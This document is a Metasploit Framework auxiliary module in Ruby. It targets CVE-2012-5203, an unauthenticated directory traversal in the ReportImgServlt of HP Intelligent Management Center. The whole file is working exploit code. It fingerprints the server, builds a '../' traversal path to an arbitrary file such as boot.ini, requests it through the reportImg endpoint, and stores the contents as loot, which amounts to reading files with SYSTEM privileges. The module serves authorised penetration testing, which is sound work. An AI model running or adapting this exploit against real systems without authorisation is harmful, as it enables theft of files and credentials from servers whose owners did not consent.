##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP Intelligent Management ReportImgServlt Directory Traversal',
			'Description'    => %q{
					This module exploits a lack of authentication and a directory traversal in HP
				Intelligent Management, specifically in the ReportImgServlt, in order to retrieve
				arbitrary files with SYSTEM privileges. This module has been tested successfully on
				HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-5203' ],
					[ 'OSVDB', '91028' ],
					[ 'BID', '58672' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-052/' ]
				]
		))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
				OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
				# By default files downloaded from C:\Program Files\iMC\client\bin\
				OptInt.new('DEPTH', [true, 'Traversal depth', 4])
			], self.class)
	end

	def is_imc?
		res = send_request_cgi({
			'uri'    => normalize_uri(target_uri.path.to_s, "login.jsf"),
			'method' => 'GET'
		})

		if res and res.code == 200 and res.body =~ /HP Intelligent Management Center/
			return true
		else
			return false
		end
	end

	def my_basename(filename)
		return ::File.basename(filename.gsub(/\\/, "/"))
	end

	def run_host(ip)

		if not is_imc?
			vprint_error("#{rhost}:#{rport} - This isn't a HP Intelligent Management Center")
			return
		end

		travs = ""
		travs << "../" * datastore['DEPTH']
		travs << datastore['FILEPATH']

		vprint_status("#{rhost}:#{rport} - Sending request...")
		res = send_request_cgi({
			'uri'          => normalize_uri(target_uri.path.to_s, "reportImg"),
			'method'       => 'GET',
			'vars_get'     =>
				{
					'path' => travs
				}
		})

		if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] == "image/png"
			contents = res.body
			fname = my_basename(datastore['FILEPATH'])
			path = store_loot(
				'hp.imc.faultdownloadservlet',
				'application/octet-stream',
				ip,
				contents,
				fname
			)
			print_good("#{rhost}:#{rport} - File saved in: #{path}")
		else
			vprint_error("#{rhost}:#{rport} - Failed to retrieve file")
			return
		end
	end
end
